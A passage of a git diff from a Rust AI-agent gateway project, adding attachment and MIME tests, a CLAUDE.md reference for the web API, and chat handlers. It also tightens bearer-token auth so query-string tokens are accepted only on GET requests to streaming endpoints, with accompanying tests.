Some("cat.jpg".to_string())); + assert_eq!(msg.attachments[0].size_bytes, Some(50_000)); + assert_eq!( + msg.attachments[0].source_url, + Some("https://api.telegram.org/file/photo123".to_string()) + ); + + // Verify second attachment + assert_eq!(msg.attachments[1].id, "doc456"); + assert_eq!(msg.attachments[1].mime_type, "application/pdf"); + assert_eq!( + msg.attachments[1].extracted_text, + Some("Report contents...".to_string()) + ); + assert_eq!( + msg.attachments[1].storage_key, + Some("store/doc456".to_string()) + ); + } + + #[tokio::test] + async fn test_dispatch_emitted_messages_no_attachments_backward_compat() { + use crate::channels::wasm::host::EmittedMessage; + + let (tx, mut rx) = tokio::sync::mpsc::channel(10); + let message_tx = Arc::new(tokio::sync::RwLock::new(Some(tx))); + + let rate_limiter = Arc::new(tokio::sync::RwLock::new( + crate::channels::wasm::host::ChannelEmitRateLimiter::new( + crate::channels::wasm::capabilities::EmitRateLimitConfig::default(), + ), + )); + + let messages = vec![EmittedMessage::new("user1", "Just text, no attachments")]; + + let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None)); + let result = WasmChannel::dispatch_emitted_messages( + "test-channel", + messages, + &message_tx, + &rate_limiter, + &last_broadcast_metadata, + None, + ) + .await; + + assert!(result.is_ok()); + + let msg = rx.try_recv().expect("Should receive message"); + assert_eq!(msg.content, "Just text, no attachments"); + assert!(msg.attachments.is_empty()); + } + + #[test] + fn test_mime_from_extension() { + use super::mime_from_extension; + assert_eq!(mime_from_extension("screenshot.png"), "image/png"); + assert_eq!(mime_from_extension("photo.JPG"), "image/jpeg"); + assert_eq!(mime_from_extension("photo.jpeg"), "image/jpeg"); + assert_eq!(mime_from_extension("animation.gif"), "image/gif"); + assert_eq!(mime_from_extension("doc.pdf"), "application/pdf"); + assert_eq!(mime_from_extension("video.mp4"), "video/mp4"); + assert_eq!(mime_from_extension("data.csv"), "text/csv"); + assert_eq!( + mime_from_extension("unknown.qqqzzz"), + "application/octet-stream" + ); + assert_eq!(mime_from_extension("noext"), "application/octet-stream"); + assert_eq!( + mime_from_extension("/home/user/.ironclaw/screenshot.png"), + "image/png" + ); + } } diff --git a/src/channels/web/CLAUDE.md b/src/channels/web/CLAUDE.md new file mode 100644 index 00000000..df5cd6cf --- /dev/null +++ b/src/channels/web/CLAUDE.md @@ -0,0 +1,212 @@ +# Web Gateway Module + +Browser-facing HTTP API and SSE/WebSocket real-time streaming. Axum-based, single-user with bearer token auth. + +## File Map + +| File | Role | +|------|------| +| `mod.rs` | Gateway builder, startup, `WebChannel` implementation, `with_*` builder methods | +| `server.rs` | `GatewayState`, `start_server()`, all Axum route registrations, inline handlers | +| `types.rs` | Request/response DTOs and `SseEvent` enum (source of truth for SSE contract) | +| `sse.rs` | `SseManager` — broadcast channel that fans out `SseEvent` to all connected SSE clients | +| `ws.rs` | WebSocket handler (`handle_ws_connection`) + `WsConnectionTracker` | +| `auth.rs` | Bearer token middleware (`Authorization: Bearer `) | +| `log_layer.rs` | Tracing layer that tees log lines to the `/api/logs/events` SSE stream | +| `handlers/` | Handler functions split by domain: `chat`, `extensions`, `jobs`, `memory`, `routines`, `settings`, `skills`, `static_files` | +| `openai_compat.rs` | OpenAI-compatible proxy (`/v1/chat/completions`, `/v1/models`) | +| `util.rs` | Shared helpers (`build_turns_from_db_messages`, `truncate_preview`) | +| `static/` | Single-page app (HTML/CSS/JS) — embedded at compile time via `include_str!`/`include_bytes!` | + +## API Routes + +### Public (no auth) +| Method | Path | Description | +|--------|------|-------------| +| GET | `/api/health` | Health check | +| GET | `/oauth/callback` | OAuth callback for extension auth | + +### Chat +| Method | Path | Description | +|--------|------|-------------| +| POST | `/api/chat/send` | Send message → queues to agent loop | +| GET | `/api/chat/events` | SSE stream of agent events | +| GET | `/api/chat/ws` | WebSocket alternative to SSE | +| GET | `/api/chat/history` | Paginated turn history for a thread | +| GET | `/api/chat/threads` | List threads (returns `assistant_thread` + regular threads) | +| POST | `/api/chat/thread/new` | Create new thread | +| POST | `/api/chat/approval` | Approve/deny/always a pending tool call | +| POST | `/api/chat/auth-token` | Submit auth token for an extension | +| POST | `/api/chat/auth-cancel` | Cancel pending auth flow | + +### Memory +| Method | Path | Description | +|--------|------|-------------| +| GET | `/api/memory/tree` | Workspace directory tree | +| GET | `/api/memory/list` | List files at a path | +| GET | `/api/memory/read` | Read a workspace file | +| POST | `/api/memory/write` | Write a workspace file | +| POST | `/api/memory/search` | Hybrid FTS + vector search | + +### Jobs (sandbox) +| Method | Path | Description | +|--------|------|-------------| +| GET | `/api/jobs` | List sandbox jobs | +| GET | `/api/jobs/summary` | Aggregated stats | +| GET | `/api/jobs/{id}` | Job detail | +| POST | `/api/jobs/{id}/cancel` | Cancel a running job | +| POST | `/api/jobs/{id}/restart` | Restart a failed job | +| POST | `/api/jobs/{id}/prompt` | Send follow-up prompt to Claude Code bridge | +| GET | `/api/jobs/{id}/events` | SSE stream for a specific job | +| GET | `/api/jobs/{id}/files/list` | List files in job workspace | +| GET | `/api/jobs/{id}/files/read` | Read a file from job workspace | + +### Skills +| Method | Path | Description | +|--------|------|-------------| +| GET | `/api/skills` | List installed skills | +| POST | `/api/skills/search` | Search ClawHub registry + local skills | +| POST | `/api/skills/install` | Install a skill from ClawHub or by URL/content | +| DELETE | `/api/skills/{name}` | Remove an installed skill | + +### Extensions +| Method | Path | Description | +|--------|------|-------------| +| GET | `/api/extensions` | Installed extensions | +| GET | `/api/extensions/tools` | All registered tools (from tool registry) | +| POST | `/api/extensions/install` | Install extension | +| GET | `/api/extensions/registry` | Available extensions from registry manifests | +| POST | `/api/extensions/{name}/activate` | Activate installed extension | +| POST | `/api/extensions/{name}/remove` | Remove extension | +| GET/POST | `/api/extensions/{name}/setup` | Extension setup wizard | + +### Routines +| Method | Path | Description | +|--------|------|-------------| +| GET | `/api/routines` | List routines | +| GET | `/api/routines/summary` | Aggregated stats (total/enabled/disabled/failing/runs_today) | +| GET | `/api/routines/{id}` | Routine detail with recent run history | +| POST | `/api/routines/{id}/trigger` | Manually trigger a routine | +| POST | `/api/routines/{id}/toggle` | Enable/disable a routine | +| DELETE | `/api/routines/{id}` | Delete a routine | +| GET | `/api/routines/{id}/runs` | List runs for a specific routine | + +### Settings +| Method | Path | Description | +|--------|------|-------------| +| GET | `/api/settings` | List all settings | +| GET | `/api/settings/export` | Export all settings as a map | +| POST | `/api/settings/import` | Bulk-import settings from a map | +| GET | `/api/settings/{key}` | Get a single setting | +| PUT | `/api/settings/{key}` | Set a single setting | +| DELETE | `/api/settings/{key}` | Delete a setting | + +### Other +| Method | Path | Description | +|--------|------|-------------| +| GET | `/api/logs/events` | Live log stream (SSE) | +| GET/PUT | `/api/logs/level` | Get/set log level at runtime | +| GET | `/api/pairing/{channel}` | List pending pairing requests | +| POST | `/api/pairing/{channel}/approve` | Approve a pairing request | +| GET | `/api/gateway/status` | Server uptime, connected clients, config | +| POST | `/v1/chat/completions` | OpenAI-compatible LLM proxy | +| GET | `/v1/models` | OpenAI-compatible model list | + +### Static / Project files +| Method | Path | Description | +|--------|------|-------------| +| GET | `/` | Single-page app HTML | +| GET | `/style.css` | App stylesheet | +| GET | `/app.js` | App JavaScript | +| GET | `/favicon.ico` | Favicon (cached 1 day) | +| GET | `/projects/{project_id}/` | Job workspace browser (redirects) | +| GET | `/projects/{project_id}/{*path}` | Serve file from job workspace (auth required) | + +## SSE Event Types (`SseEvent` in `types.rs`) + +The SSE contract — every field is `#[serde(tag = "type")]`: + +| Type | When emitted | +|------|-------------| +| `response` | Final text response from agent | +| `stream_chunk` | Streaming token (partial response) | +| `thinking` | Agent status update during reasoning | +| `tool_started` | Tool call began | +| `tool_completed` | Tool call finished (includes success/error) | +| `tool_result` | Tool output preview | +| `status` | Generic status message | +| `job_started` | Sandbox job created | +| `job_message` | Message from sandbox worker | +| `job_tool_use` | Tool invoked inside sandbox | +| `job_tool_result` | Tool result from sandbox | +| `job_status` | Sandbox job status update | +| `job_result` | Sandbox job final result | +| `approval_needed` | Tool requires user approval (pauses agent) | +| `auth_required` | Extension needs auth credentials | +| `auth_completed` | Extension auth flow finished | +| `extension_status` | WASM channel activation status changed | +| `error` | Error from agent or gateway | +| `heartbeat` | SSE keepalive (empty payload) | + +**SSE serialization:** Events use `#[serde(tag = "type")]` — the wire format is `{"type":"", ...fields}`. The SSE frame's `event:` field is set to the same string as `type` for easy `addEventListener` use in the browser. + +**WebSocket envelope:** Over WebSocket, SSE events are wrapped as `{"type":"event","event_type":"","data":{...}}`. Ping/pong uses `{"type":"ping"}` / `{"type":"pong"}`. Client-to-server messages (`message`, `approval`, `auth_token`, `auth_cancel`) are defined in `WsClientMessage` in `types.rs`. + +**To add a new SSE event:** Use the `add-sse-event` skill (`/add-sse-event`). It scaffolds the Rust variant, serialization, broadcast call, and frontend handler. Also add a matching arm to `WsServerMessage::from_sse_event()` in `types.rs`. + +## Auth + +All protected routes require `Authorization: Bearer `. The token is set via `GATEWAY_AUTH_TOKEN` env var. Missing/wrong token → 401. The `Bearer` prefix is compared case-insensitively (RFC 6750). + +**Query-string token auth (`?token=xxx`):** Because `EventSource` and WebSocket upgrades cannot set custom headers from the browser, three endpoints also accept the token as a URL query parameter: `/api/chat/events`, `/api/logs/events`, and `/api/chat/ws`. All other endpoints reject query-string tokens. If you add a new SSE or WebSocket endpoint, register its path in `allows_query_token_auth()` in `auth.rs`. + +**If no `GATEWAY_AUTH_TOKEN` is configured**, a random 32-character alphanumeric token is generated at startup and printed to the console. + +Rate limiting: chat send endpoints are capped at **30 messages per 60 seconds** (sliding window, not per-IP). + +## GatewayState + +The shared state struct (`server.rs`) holds refs to all subsystems. Fields are `Option>` so the gateway can start even when optional subsystems (workspace, sandbox, skills) are disabled. Always null-check before use in handlers. + +Key fields: +- `msg_tx` — `RwLock>>` — sends messages to the agent loop; set when `start()` is called on the `Channel`. +- `sse` — `SseManager` — broadcast hub; call `state.sse.broadcast(event)` from any handler. +- `ws_tracker` — `Option>` — tracks WS connection count separately from SSE. +- `chat_rate_limiter` — `RateLimiter` — 30 req/60 s sliding window shared across all chat send callers. +- `scheduler` — `Option` — used to inject follow-up messages into running agent jobs. +- `cost_guard` — `Option>` — exposes token usage / cost totals in the status endpoint. +- `startup_time` — `Instant` — used to compute uptime in the gateway status response. +- `registry_entries` — `Vec` — loaded once at startup from registry manifests; used by the available extensions API without hitting the network. + +Subsystems are wired via `with_*` builder methods on `GatewayChannel` (`mod.rs`). Each call rebuilds `Arc` — safe to call before `start()`, not after. + +## SSE / WebSocket Connection Limits + +Both SSE and WebSocket share the same `SseManager` broadcast channel. Key characteristics: + +- **Broadcast buffer:** 256 events. A slow client that falls behind will miss events — the `BroadcastStream` silently drops lagged events. SSE clients are expected to reconnect and re-fetch history. +- **Max connections:** 100 total (SSE + WebSocket combined). Connections beyond the limit receive a 503 / are immediately dropped. +- **SSE keepalive:** Axum's `KeepAlive` sends an empty event every **30 seconds** to prevent proxy timeouts. +- **WebSocket:** Two tasks per connection — a sender task (broadcast → WS frames) and a receiver loop (WS frames → agent). When the client disconnects, the sender is aborted and both the SSE connection counter and WS tracker counter are decremented. + +## CORS and Security Headers + +CORS is restricted to the gateway's own origin (same IP+port and `localhost`+port). Allowed methods: GET, POST, PUT, DELETE. Allowed headers: `Content-Type`, `Authorization`. Credentials are allowed. + +All responses include: +- `X-Content-Type-Options: nosniff` +- `X-Frame-Options: DENY` + +**Request body limit:** 1 MB (`DefaultBodyLimit::max(1024 * 1024)`). Larger payloads return 413. + +## Pending Approvals + +Tool approval state is **in-memory only** (not persisted to DB). Server restart clears all pending approvals. The `pending_approval` field in `HistoryResponse` is re-populated on thread switch from in-memory state. + +## Adding a New API Endpoint + +1. Define request/response types in `types.rs`. +2. Implement the handler in the appropriate `handlers/*.rs` file (or inline in `server.rs` for simple handlers). +3. Register the route in `start_server()` in `server.rs` under the correct router (`public`, `protected`, or `statics`). +4. If it is an SSE or WebSocket endpoint, add its path to `allows_query_token_auth()` in `auth.rs`. +5. If it requires a new `GatewayState` field, add it to the struct and to both the `GatewayChannel::new()` initializer and `rebuild_state()` in `mod.rs`, then add a `with_*` builder method. diff --git a/src/channels/web/auth.rs b/src/channels/web/auth.rs index 23d1ddfc..9b1f5b47 100644 --- a/src/channels/web/auth.rs +++ b/src/channels/web/auth.rs @@ -2,7 +2,7 @@ use axum::{ extract::{Request, State}, - http::{HeaderMap, StatusCode}, + http::{HeaderMap, Method, StatusCode}, middleware::Next, response::{IntoResponse, Response}, }; @@ -14,34 +14,67 @@ pub struct AuthState { pub token: String, } +/// Whether query-string token auth is allowed for this request. +/// +/// Only GET requests to streaming endpoints may use `?token=xxx`. This +/// minimizes token-in-URL exposure on state-changing routes, where the token +/// would leak via server logs, Referer headers, and browser history. +/// +/// Allowed endpoints: +/// - SSE: `/api/chat/events`, `/api/logs/events` (EventSource can't set headers) +/// - WebSocket: `/api/chat/ws` (WS upgrade can't set custom headers) +/// +/// If you add a new SSE or WebSocket endpoint, add its path here. +fn allows_query_token_auth(request: &Request) -> bool { + if request.method() != Method::GET { + return false; + } + + matches!( + request.uri().path(), + "/api/chat/events" | "/api/logs/events" | "/api/chat/ws" + ) +} + +/// Extract the `token` query parameter value, URL-decoded. +fn query_token(request: &Request) -> Option { + let query = request.uri().query()?; + url::form_urlencoded::parse(query.as_bytes()).find_map(|(k, v)| { + if k == "token" { + Some(v.into_owned()) + } else { + None + } + }) +} + /// Auth middleware that validates bearer token from header or query param. /// /// SSE connections can't set headers from `EventSource`, so we also accept -/// `?token=xxx` as a query parameter. +/// `?token=xxx` as a query parameter, but only on SSE endpoints. pub async fn auth_middleware( State(auth): State, headers: HeaderMap, request: Request, next: Next, ) -> Response { - // Try Authorization header first (constant-time comparison) + // Try Authorization header first (constant-time comparison). + // RFC 6750 Section 2.1: auth-scheme comparison is case-insensitive. if let Some(auth_header) = headers.get("authorization") && let Ok(value) = auth_header.to_str() - && let Some(token) = value.strip_prefix("Bearer ") - && bool::from(token.as_bytes().ct_eq(auth.token.as_bytes())) + && value.len() > 7 + && value[..7].eq_ignore_ascii_case("Bearer ") + && bool::from(value.as_bytes()[7..].ct_eq(auth.token.as_bytes())) { return next.run(request).await; } - // Fall back to query parameter for SSE EventSource (constant-time comparison) - if let Some(query) = request.uri().query() { - for pair in query.split('&') { - if let Some(token) = pair.strip_prefix("token=") - && bool::from(token.as_bytes().ct_eq(auth.token.as_bytes())) - { - return next.run(request).await; - } - } + // Fall back to query parameter, but only for SSE endpoints (constant-time comparison). + if allows_query_token_auth(&request) + && let Some(token) = query_token(&request) + && bool::from(token.as_bytes().ct_eq(auth.token.as_bytes())) + { + return next.run(request).await; } (StatusCode::UNAUTHORIZED, "Invalid or missing auth token").into_response() @@ -59,4 +92,217 @@ mod tests { let cloned = state.clone(); assert_eq!(cloned.token, "test-token"); } + + use axum::Router; + use axum::body::Body; + use axum::middleware; + use axum::routing::{get, post}; + use tower::ServiceExt; + + async fn dummy_handler() -> &'static str { + "ok" + } + + /// Router with streaming endpoints (query auth allowed) and regular + /// endpoints (query auth rejected). + fn test_app(token: &str) -> Router { + let state = AuthState { + token: token.to_string(), + }; + Router::new() + .route("/api/chat/events", get(dummy_handler)) + .route("/api/logs/events", get(dummy_handler)) + .route("/api/chat/ws", get(dummy_handler)) + .route("/api/chat/history", get(dummy_handler)) + .route("/api/chat/send", post(dummy_handler)) + .layer(middleware::from_fn_with_state(state, auth_middleware)) + } + + #[tokio::test] + async fn test_valid_bearer_token_passes() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/events") + .header("Authorization", "Bearer secret-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::OK); + } + + #[tokio::test] + async fn test_invalid_bearer_token_rejected() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/events") + .header("Authorization", "Bearer wrong-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); + } + + #[tokio::test] + async fn test_query_token_allowed_for_chat_events() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/events?token=secret-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::OK); + } + + #[tokio::test] + async fn test_query_token_allowed_for_logs_events() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/logs/events?token=secret-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::OK); + } + + #[tokio::test] + async fn test_query_token_allowed_for_ws_upgrade() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/ws?token=secret-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::OK); + } + + #[tokio::test] + async fn test_query_token_url_encoded() { + // Token with characters that get percent-encoded in URLs. + let raw_token = "tok+en/with spaces"; + let app = test_app(raw_token); + let req = Request::builder() + .uri("/api/chat/events?token=tok%2Ben%2Fwith%20spaces") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::OK); + } + + #[tokio::test] + async fn test_query_token_url_encoded_mismatch() { + let app = test_app("real-token"); + // Encoded value decodes to "wrong-token", not "real-token". + let req = Request::builder() + .uri("/api/chat/events?token=wrong%2Dtoken") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); + } + + #[tokio::test] + async fn test_query_token_rejected_for_non_sse_get() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/history?token=secret-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); + } + + #[tokio::test] + async fn test_query_token_rejected_for_post() { + let app = test_app("secret-token"); + let req = Request::builder() + .method(Method::POST) + .uri("/api/chat/send?token=secret-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); + } + + #[tokio::test] + async fn test_query_token_invalid_rejected() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/events?token=wrong-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); + } + + #[tokio::test] + async fn test_no_auth_at_all_rejected() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/events") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); + } + + #[tokio::test] + async fn test_bearer_header_works_for_post() { + let app = test_app("secret-token"); + let req = Request::builder() + .method(Method::POST) + .uri("/api/chat/send") + .header("Authorization", "Bearer secret-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::OK); + } + + #[tokio::test] + async fn test_bearer_prefix_case_insensitive() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/events") + .header("Authorization", "bearer secret-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::OK); + } + + #[tokio::test] + async fn test_bearer_prefix_mixed_case() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/events") + .header("Authorization", "BEARER secret-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::OK); + } + + #[tokio::test] + async fn test_empty_bearer_token_rejected() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/events") + .header("Authorization", "Bearer ") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); + } + + #[tokio::test] + async fn test_token_with_whitespace_rejected() { + let app = test_app("secret-token"); + let req = Request::builder() + .uri("/api/chat/events") + .header("Authorization", "Bearer secret-token") + .body(Body::empty()) + .unwrap(); + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); + } } diff --git a/src/channels/web/handlers/chat.rs b/src/channels/web/handlers/chat.rs new file mode 100644 index 00000000..e82c2583 --- /dev/null +++ b/src/channels/web/handlers/chat.rs @@ -0,0 +1,721 @@ +//! Chat handlers: send, approval, auth, SSE events, WebSocket, history, threads. + +use std::sync::Arc; + +use axum::{ + Json, + extract::{Query, State, WebSocketUpgrade}, + http::StatusCode, + response::IntoResponse, +}; +use serde::Deserialize; +use uuid::Uuid; + +use crate::channels::IncomingMessage; +use crate::channels::web::server::GatewayState; +use crate::channels::web::types::*; +use crate::channels::web::util::{build_turns_from_db_messages, truncate_preview}; + +pub async fn chat_send_handler( + State(state): State>, + Json(req): Json, +) -> Result<(StatusCode, Json), (StatusCode, String)> { + if !state.chat_rate_limiter.check() { + return Err(( + StatusCode::TOO_MANY_REQUESTS, + "Rate limit exceeded. Try again shortly.".to_string(), + )); + } + + let mut msg = IncomingMessage::new("gateway", &state.user_id, &req.content); + + if let Some(ref thread_id) = req.thread_id { + msg = msg.with_thread(thread_id); + msg = msg.with_metadata(serde_json::json!({"thread_id": thread_id})); + } + + let msg_id = msg.id; + + let tx_guard = state.msg_tx.read().await; + let tx = tx_guard.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Channel not started".to_string(), + ))?; + + tx.send(msg).await.map_err(|_| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + "Channel closed".to_string(), + ) + })?; + + Ok(( + StatusCode::ACCEPTED, + Json(SendMessageResponse { + message_id: msg_id, + status: "accepted", + }), + )) +} + +pub async fn chat_approval_handler( + State(state): State>, + Json(req): Json, +) -> Result<(StatusCode, Json), (StatusCode, String)> { + let (approved, always) = match req.action.as_str() { + "approve" => (true, false), + "always" => (true, true), + "deny" => (false, false), + other => { + return Err(( + StatusCode::BAD_REQUEST, + format!("Unknown action: {}", other), + )); + } + }; + + let request_id = Uuid::parse_str(&req.request_id).map_err(|_| { + ( + StatusCode::BAD_REQUEST, + "Invalid request_id (expected UUID)".to_string(), + ) + })?; + + // Build a structured ExecApproval submission as JSON, sent through the + // existing message pipeline so the agent loop picks it up. + let approval = crate::agent::submission::Submission::ExecApproval { + request_id, + approved, + always, + }; + let content = serde_json::to_string(&approval).map_err(|e| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + format!("Failed to serialize approval: {}", e), + ) + })?; + + let mut msg = IncomingMessage::new("gateway", &state.user_id, content); + + if let Some(ref thread_id) = req.thread_id { + msg = msg.with_thread(thread_id); + } + + let msg_id = msg.id; + + let tx_guard = state.msg_tx.read().await; + let tx = tx_guard.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Channel not started".to_string(), + ))?; + + tx.send(msg).await.map_err(|_| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + "Channel closed".to_string(), + ) + })?; + + Ok(( + StatusCode::ACCEPTED, + Json(SendMessageResponse { + message_id: msg_id, + status: "accepted", + }), + )) +} + +/// Submit an auth token directly to the extension manager, bypassing the message pipeline. +/// +/// The token never touches the LLM, chat history, or SSE stream. +pub async fn chat_auth_token_handler( + State(state): State>, + Json(req): Json, +) -> Result, (StatusCode, String)> { + let ext_mgr = state.extension_manager.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Extension manager not available".to_string(), + ))?; + + let result = ext_mgr + .auth(&req.extension_name, Some(&req.token)) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + if result.is_authenticated() { + // Auto-activate so tools are available immediately + let msg = match ext_mgr.activate(&req.extension_name).await { + Ok(r) => format!( + "{} authenticated ({} tools loaded)", + req.extension_name, + r.tools_loaded.len() + ), + Err(e) => format!( + "{} authenticated but activation failed: {}", + req.extension_name, e + ), + }; + + // Clear auth mode on the active thread + clear_auth_mode(&state).await; + + state.sse.broadcast(SseEvent::AuthCompleted { + extension_name: req.extension_name, + success: true, + message: msg.clone(), + }); + + Ok(Json(ActionResponse::ok(msg))) + } else { + // Re-emit auth_required for retry + state.sse.broadcast(SseEvent::AuthRequired { + extension_name: req.extension_name.clone(), + instructions: result.instructions().map(String::from), + auth_url: result.auth_url().map(String::from), + setup_url: result.setup_url().map(String::from), + }); + Ok(Json(ActionResponse::fail( + result + .instructions() + .map(String::from) + .unwrap_or_else(|| "Invalid token".to_string()), + ))) + } +} + +/// Cancel an in-progress auth flow. +pub async fn chat_auth_cancel_handler( + State(state): State>, + Json(_req): Json, +) -> Result, (StatusCode, String)> { + clear_auth_mode(&state).await; + Ok(Json(ActionResponse::ok("Auth cancelled"))) +} + +/// Clear pending auth mode on the active thread. +pub async fn clear_auth_mode(state: &GatewayState) { + if let Some(ref sm) = state.session_manager { + let session = sm.get_or_create_session(&state.user_id).await; + let mut sess = session.lock().await; + if let Some(thread_id) = sess.active_thread + && let Some(thread) = sess.threads.get_mut(&thread_id) + { + thread.pending_auth = None; + } + } +} + +pub async fn chat_events_handler( + State(state): State>, +) -> Result { + state.sse.subscribe().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Too many connections".to_string(), + )) +} + +pub async fn chat_ws_handler( + headers: axum::http::HeaderMap, + ws: WebSocketUpgrade, + State(state): State>, +) -> Result { + // Validate Origin header to prevent cross-site WebSocket hijacking. + let origin = headers + .get("origin") + .and_then(|v| v.to_str().ok()) + .ok_or_else(|| { + ( + StatusCode::FORBIDDEN, + "WebSocket Origin header required".to_string(), + ) + })?; + + let host = origin + .strip_prefix("http://") + .or_else(|| origin.strip_prefix("https://")) + .and_then(|rest| rest.split(':').next()?.split('/').next()) + .unwrap_or(""); + + let is_local = matches!(host, "localhost" | "127.0.0.1" | "[::1]"); + if !is_local { + return Err(( + StatusCode::FORBIDDEN, + "WebSocket origin not allowed".to_string(), + )); + } + Ok(ws.on_upgrade(move |socket| crate::channels::web::ws::handle_ws_connection(socket, state))) +} + +#[derive(Deserialize)] +pub struct HistoryQuery { + pub thread_id: Option, + pub limit: Option, + pub before: Option, +} + +pub async fn chat_history_handler( + State(state): State>, + Query(query): Query, +) -> Result, (StatusCode, String)> { + let session_manager = state.session_manager.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Session manager not available".to_string(), + ))?; + + let session = session_manager.get_or_create_session(&state.user_id).await; + let sess = session.lock().await; + + let limit = query.limit.unwrap_or(50); + let before_cursor = query + .before + .as_deref() + .map(|s| { + chrono::DateTime::parse_from_rfc3339(s) + .map(|dt| dt.with_timezone(&chrono::Utc)) + .map_err(|_| { + ( + StatusCode::BAD_REQUEST, + "Invalid 'before' timestamp".to_string(), + ) + }) + }) + .transpose()?; + + // Find the thread + let thread_id = if let Some(ref tid) = query.thread_id { + Uuid::parse_str(tid) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid thread_id".to_string()))? + } else { + sess.active_thread + .ok_or((StatusCode::NOT_FOUND, "No active thread".to_string()))? + }; + + // Verify the thread belongs to the authenticated user before returning any data. + if query.thread_id.is_some() + && let Some(ref store) = state.store + { + let owned = store + .conversation_belongs_to_user(thread_id, &state.user_id) + .await + .unwrap_or(false); + if !owned && !sess.threads.contains_key(&thread_id) { + return Err((StatusCode::NOT_FOUND, "Thread not found".to_string())); + } + } + + // For paginated requests (before cursor set), always go to DB + if before_cursor.is_some() + && let Some(ref store) = state.store + { + let (messages, has_more) = store + .list_conversation_messages_paginated(thread_id, before_cursor, limit as i64) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + let oldest_timestamp = messages.first().map(|m| m.created_at.to_rfc3339()); + let turns = build_turns_from_db_messages(&messages); + return Ok(Json(HistoryResponse { + thread_id, + turns, + has_more, + oldest_timestamp, + pending_approval: None, + })); + } + + // Try in-memory first (freshest data for active threads) + if let Some(thread) = sess.threads.get(&thread_id) + && (!thread.turns.is_empty() || thread.pending_approval.is_some()) + { + let turns: Vec = thread + .turns + .iter() + .map(|t| TurnInfo { + turn_number: t.turn_number, + user_input: t.user_input.clone(), + response: t.response.clone(), + state: format!("{:?}", t.state), + started_at: t.started_at.to_rfc3339(), + completed_at: t.completed_at.map(|dt| dt.to_rfc3339()), + tool_calls: t + .tool_calls + .iter() + .map(|tc| ToolCallInfo { + name: tc.name.clone(), + has_result: tc.result.is_some(), + has_error: tc.error.is_some(), + result_preview: tc.result.as_ref().map(|r| { + let s = match r { + serde_json::Value::String(s) => s.clone(), + other => other.to_string(), + }; + truncate_preview(&s, 500) + }), + error: tc.error.clone(), + }) + .collect(), + }) + .collect(); + + let pending_approval = thread + .pending_approval + .as_ref() + .map(|pa| PendingApprovalInfo { + request_id: pa.request_id.to_string(), + tool_name: pa.tool_name.clone(), + description: pa.description.clone(), + parameters: serde_json::to_string_pretty(&pa.parameters).unwrap_or_default(), + }); + + return Ok(Json(HistoryResponse { + thread_id, + turns, + has_more: false, + oldest_timestamp: None, + pending_approval, + })); + } + + // Fall back to DB for historical threads not in memory (paginated) + if let Some(ref store) = state.store { + let (messages, has_more) = store + .list_conversation_messages_paginated(thread_id, None, limit as i64) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + if !messages.is_empty() { + let oldest_timestamp = messages.first().map(|m| m.created_at.to_rfc3339()); + let turns = build_turns_from_db_messages(&messages); + return Ok(Json(HistoryResponse { + thread_id, + turns, + has_more, + oldest_timestamp, + 